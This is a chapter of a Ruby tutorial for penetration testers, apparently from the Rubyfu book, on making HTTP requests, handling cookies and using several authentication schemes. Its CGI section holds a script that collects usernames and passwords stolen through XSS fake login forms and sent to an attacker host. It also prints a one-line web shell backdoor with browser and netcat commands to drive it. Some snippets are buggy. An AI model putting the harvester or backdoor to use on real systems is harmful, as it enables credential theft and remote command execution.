Chapter 0x4 | Web Kung Fu

    Simple Shortened URL extractor

    1. require 'net/http'
    2. uri = ARGV[0]
    3. loop do
    4. puts uri
    5. res = Net::HTTP.get_response URI uri
    6. if !res['location'].nil?
    7. uri = res['location']
    8. else
    9. break
    10. end
    11. end

    Run it

    1. $ruby redirect.rb http://bit.ly/1JSs7vj
    2. http://bit.ly/1JSs7vj
    3. http://ow.ly/XLGfi
    4. https://tinyurl.com/hg69vgm
    5. http://rubyfu.net

    Ok, what if I gave you this shortened url(http://short-url.link/f2a)? try the above script and tell me what’s going-on

    Using Open-uri

    Here another way to do the same thing

    1. #!/usr/bin/env ruby
    2. require 'open-uri'
    3. require 'openssl'
    4. host = ARGV[0] || "172.16.50.139"
    5. session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad"
    6. def send_sqli
    7. uri = URI.parse("https://#{host}/script/path/file.php?var1=val1&var2=val2&var3=val3")
    8. headers =
    9. {
    10. "User-Agent" => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0",
    11. "Connection" => "keep-alive",
    12. "Accept-Language" => "en-US,en;q=0.5",
    13. "Accept-Encoding" => "gzip, deflate",
    14. "Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    15. "Cookie" => "PHPSESSID=#{session_id}"
    16. }
    17. request = open(uri, :ssl_verify_mode => OpenSSL::SSL::VERIFY_NONE, headers)
    18. puts "Sending.. "
    19. response = request.read
    20. puts response
    21. end

    Send HTTP Post request with custom headers

    Here the post body from a file

    1. require 'net/http'
    2. uri = URI.parse "http://example.com/Pages/PostPage.aspx"
    3. headers =
    4. {
    5. 'Referer' => 'http://example.com/Pages/SomePage.aspx',
    6. 'Cookie' => 'TS9e4B=ae79efe; WSS_FullScrende=false; ASP.NET_SessionId=rxuvh3l5dam',
    7. 'Connection' => 'keep-alive',
    8. 'Content-Type' =>'application/x-www-form-urlencoded'
    9. }
    10. post = File.read post_file # Raw Post Body's Data
    11. http = Net::HTTP.new(uri.host, uri.port)
    12. http.use_ssl = true if uri.scheme == 'https' # Enable HTTPS support if it's HTTPS
    13. request = Net::HTTP::Post.new(uri.path, headers)
    14. request.body = post
    15. response = http.request request
    16. puts response.code
    17. puts response.body

    Let’s to take the following form as a simple post form to mimic in our script

    Post form code:

    1. <FORM METHOD=POST ACTION="http://wwwx.cs.unc.edu/~jbs/aw-wwwp/docs/resources/perl/perl-cgi/programs/cgi_stdin.cgi">
    2. <P>Name field: <INPUT TYPE="text" Name="name" SIZE=30 VALUE = "You name">
    3. <P>Your age: <INPUT TYPE="radio" NAME="radiobutton" VALUE="youngun"> younger than 21,
    4. <INPUT TYPE="radio" NAME="radiobutton" VALUE="middleun" CHECKED> 21 -59,
    5. <INPUT TYPE="radio" NAME="radiobutton" VALUE="oldun"> 60 or older
    6. <P>Things you like:
    7. <INPUT TYPE="checkbox" NAME="checkedbox" VALUE="pizza" CHECKED>pizza,
    8. <INPUT TYPE="checkbox" NAME="checkedbox" VALUE="spinich">spinich,
    9. <INPUT TYPE="checkbox" NAME="checkedbox" VALUE="mashed potatoes" CHECKED>mashed potatoes
    10. <P>What you like most:
    11. <SELECT NAME="selectitem">
    12. <OPTION>pizza<OPTION>hamburgers<OPTION SELECTED>spinich<OPTION>mashed potatoes<OPTION>other
    13. </SELECT>
    14. <P>Reset: <INPUT TYPE="reset" >
    15. <P>Submit: <INPUT TYPE="submit" NAME="submitbutton" VALUE="Do it!" ACTION="SEND">
    16. </FORM>

    We need to send a Post request as the form figure 1 would do with control on each value and variable.

    1. require "net/http"
    2. require "uri"
    3. # Parsing the URL and instantiate http
    4. uri = URI.parse("http://wwwx.cs.unc.edu/~jbs/aw-wwwp/docs/resources/perl/perl-cgi/programs/cgi_stdin.cgi")
    5. http = Net::HTTP.new(uri.host, uri.port)
    6. http.use_ssl = true if uri.scheme == 'https' # Enable HTTPS support if it's HTTPS
    7. # Instantiate HTTP Post request
    8. request = Net::HTTP::Post.new(uri.request_uri)
    9. # Headers
    10. request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    11. request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:37.0) Gecko/20100101 Firefox/37.0"
    12. request["Referer"] = "http://www.cs.unc.edu/~jbs/resources/perl/perl-cgi/programs/form1-POST.html"
    13. request["Connection"] = "keep-alive"
    14. request["Accept-Language"] = "en-US,en;q=0.5"
    15. request["Accept-Encoding"] = "gzip, deflate"
    16. request["Content-Type"] = "application/x-www-form-urlencoded"
    17. # Post body
    18. request.set_form_data({
    19. "name" => "My title is here",
    20. "textarea" => "My grate message here.",
    21. "radiobutton" => "middleun",
    22. "checkedbox" => "pizza",
    23. "checkedbox" => "hamburgers",
    24. "checkedbox" => "mashed potatoes",
    25. "selectitem" => "hamburgers",
    26. "submitbutton" => "Do it!"
    27. })
    28. # Receive the response
    29. response = http.request(request)
    30. puts "Status code: " + response.code
    31. puts "Response body: " + response.body

    You can use body method instead of set_form_data to avoid auto-encoding for any reason

    Dealing with Cookies

    Some times you need to deal with some actions after authentication. Ideally, it’s all about cookies.

    • To Read cookies you need to get set-cookie from response
    • To Set cookies you need to set Cookie to request
    1. puts "[*] Logging-in"
    2. uri1 = URI.parse("http://host/login.aspx")
    3. uri2 = URI.parse("http://host/report.aspx")
    4. Net::HTTP.start(uri1.host, uri1.port) do |http|
    5. http.use_ssl = true if uri1.scheme == 'https' # Enable HTTPS support if it's HTTPS
    6. puts "[*] Logging in"
    7. p_request = Net::HTTP::Post.new(uri1)
    8. p_request.set_form_data({"loginName"=>"admin", "password"=>"P@ssw0rd"})
    9. p_response = http.request(p_request)
    10. cookies = p_response.response['set-cookie'] # Save Cookies
    11. puts "[*] Do Post-authentication actions"
    12. Net::HTTP::Get.new(uri2)
    13. g_request = Net::HTTP::Get.new(uri2)
    14. g_request['Cookie'] = cookies # Restore Saved Cookies
    15. g_response = http.request(g_request)
    16. end
    1. require 'net/http'
    2. username = "Admin"
    3. password = "P@ssw0rd"
    4. uri = URI("http://rubyfu.net/login")
    5. http = http = Net::HTTP.new(uri.host, uri.port)
    6. req = Net::HTTP::Get.new(uri)
    7. req.basic_auth usernamen, password
    8. res = http.request(request)
    9. puts res.body

    Digest authentication

    • Install net-http-digest_auth gem
      1. gem install net-http-digest_auth
    1. require 'ntlm/http'
    2. require 'net/http/digest_auth'
    3. uri = URI("http://rubyfu.net/login")
    4. uri.user = "Admin"
    5. uri.password = "P@ssw0rd"
    6. http = Net::HTTP.new(uri.host, uri.port)
    7. digest_auth = Net::HTTP::DigestAuth.new
    8. req = Net::HTTP::Get.new(uri)
    9. auth = digest_auth.auth_header uri, res['www-authenticate'], 'GET'
    10. req.add_field 'Authorization', auth
    11. res = http.request(request)
    12. puts res.body

    Here is an to build it without external gem

    • Install ntlm gem
      1. gem install ruby-ntlm
      Note: ntlm gem works with http, imap, smtp protocols. Read more.
    1. require 'ntlm/http'
    2. username = "Admin"
    3. password = "P@ssw0rd"
    4. uri = URI("http://rubyfu.net/login")
    5. http = http = Net::HTTP.new(uri.host, uri.port)
    6. req = Net::HTTP::Get.new(uri)
    7. req.ntlm_auth usernamen, password
    8. res = http.request(request)
    9. puts res.body

    CGI

    Get info - from XSS/HTMLi exploitation

    When you exploit XSS or HTML injection you may need to receive the grepped data from exploited user to your external server. Here a simple example of CGI script take sent get request from fake login from that asks users to enter log-in with username and password then will store the data to hacked_login.txt text file and fix its permissions to assure that nobody can access that file from public.

    Add the following to /etc/apache2/sites-enabled/[SITE] then restart the service

    Now, put the script in /var/www/[CGI FOLDER]. You can use it now.

    1. #!/usr/bin/ruby
    2. # CGI script gets user/pass | http://attacker/info.rb?user=USER&pass=PASS
    3. require 'cgi'
    4. require 'uri'
    5. cgi = CGI.new
    6. cgi.header # content type 'text/html'
    7. user = URI.encode cgi['user']
    8. pass = URI.encode cgi['pass']
    9. time = Time.now.strftime("%D %T")
    10. file = 'hacked_login.txt'
    11. File.open(file, "a") do |f|
    12. f.puts time # Time of receiving the get request
    13. f.puts "#{URI.decode user}:#{URI.decode pass}" # The data
    14. f.puts cgi.remote_addr # Remote user IP
    15. f.puts cgi.referer # The vulnerable site URL
    16. f.puts "---------------------------"
    17. end
    18. File.chmod(0200, file) # To prevent public access to the log file
    19. puts ""

    if you have a server that supports ruby CGI, you can use the following as backdoor

    1. #!/usr/bin/env ruby
    2. require 'cgi'
    3. cgi = CGI.new
    4. puts cgi.header
    5. system(cgi['cmd'])

    Now you can simply use a web browser, Netcat or WebShellConsole[^1] to execute your commands.
    ex.
    Browser

    1. http://host/cgi/shell.rb?cmd=ls -la

    Netcat

    1. echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc host 80

    WebShellConsole

    run wsc

    1. Shell -> set http://host/cgi/shell.rb?cmd=

    Now prompt your commands

    Since we’re talking about dealing with web in ruby, we can’t forget Mechanize gem, the most known library for dealing wit web.

    The Official description says, the Mechanize library is used for automating interaction with websites. Mechanize automatically stores and sends cookies, follows redirects, and can follow links and submit forms. Form fields can be populated and submitted. Mechanize also keeps track of the sites that you have visited as a history.

    More about Mechanize gem

    Since you know the hard way, you’ll find Mechanize as simple as mouse clicks! give it a try!

    HTTP.rb

    HTTP (The Gem! a.k.a. http.rb) is an easy-to-use client library for making requests from Ruby. It uses a simple method chaining system for building requests, similar to Python’s Requests.

    Under the hood, http.rb uses http_parser.rb, a fast HTTP parsing native extension based on the Node.js parser and a Java port thereof. This library isn’t just yet another wrapper around Net::HTTP. It implements the HTTP protocol natively and outsources the parsing to native extensions.

    More about http.rb gem


    [^1]: WebShellConsole is simple interactive console, interacts with simple web shells using HTTP GET rather than using browser. wsc will work with any shell use GET method. It takes care of all URL encoding too.